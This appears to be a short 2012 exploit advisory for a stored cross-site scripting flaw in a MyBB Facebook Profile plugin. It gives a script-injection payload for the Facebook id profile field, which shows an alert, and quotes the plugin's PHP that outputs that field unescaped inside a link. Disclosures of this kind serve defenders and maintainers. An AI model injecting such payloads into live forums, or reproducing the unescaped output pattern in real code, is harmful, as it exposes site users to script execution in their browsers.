Facebook Profile MyBB Plugin 2.4 Persistant XSS

# Exploit Title: MyBB Facebook Profile Plugin Persistant XSS
# Date: 12/12/2012
# Exploit Author: limb0
# Vendor Homepage: http://www.collectiontricks.it/
# Software Link: http://mods.mybb.com/view/facebook-profile-link-on-postbit-2-2
# Version: 2.4
# Tested on: Linux

###################################P-XSS######################################

Installation:

1. Upload all folder to your MyBB installation directory.
2. Go to your Admin-CP and click Plugins.
3. Click Install & Activate.

Configuration:

User-CP >> Edit Profile >> Facebook id/nickname >> Type: "><script>alert(/limb0/)</script>
Then visit one of your threads,and voila.

Proofs:
Configuration:http://postimage.org/image/sumvqlro7/
Testing:http://postimage.org/image/57tjltqb9/

-------------------------------Vulnerable Code---------------------------------------
Line 200-216
					$post["iconfacebook"] = '<a href="http://www.facebook.com/' . $post["facebook"] .'" TARGET=_BLANK><img src="'.$mybb->settings['bburl'].'/images/facebook.gif' .'" /></a>';
					} else 
					{
					}
                } else {
					$post["iconfacebook"] = '<a href="http://www.facebook.com/' . $post["facebook"] .'" TARGET=_BLANK><img src="'.$mybb->settings['bburl'].'/images/facebook.gif' .'" /></a>';
				}	
            }


This vulnerable is dedicated to my brothers. <3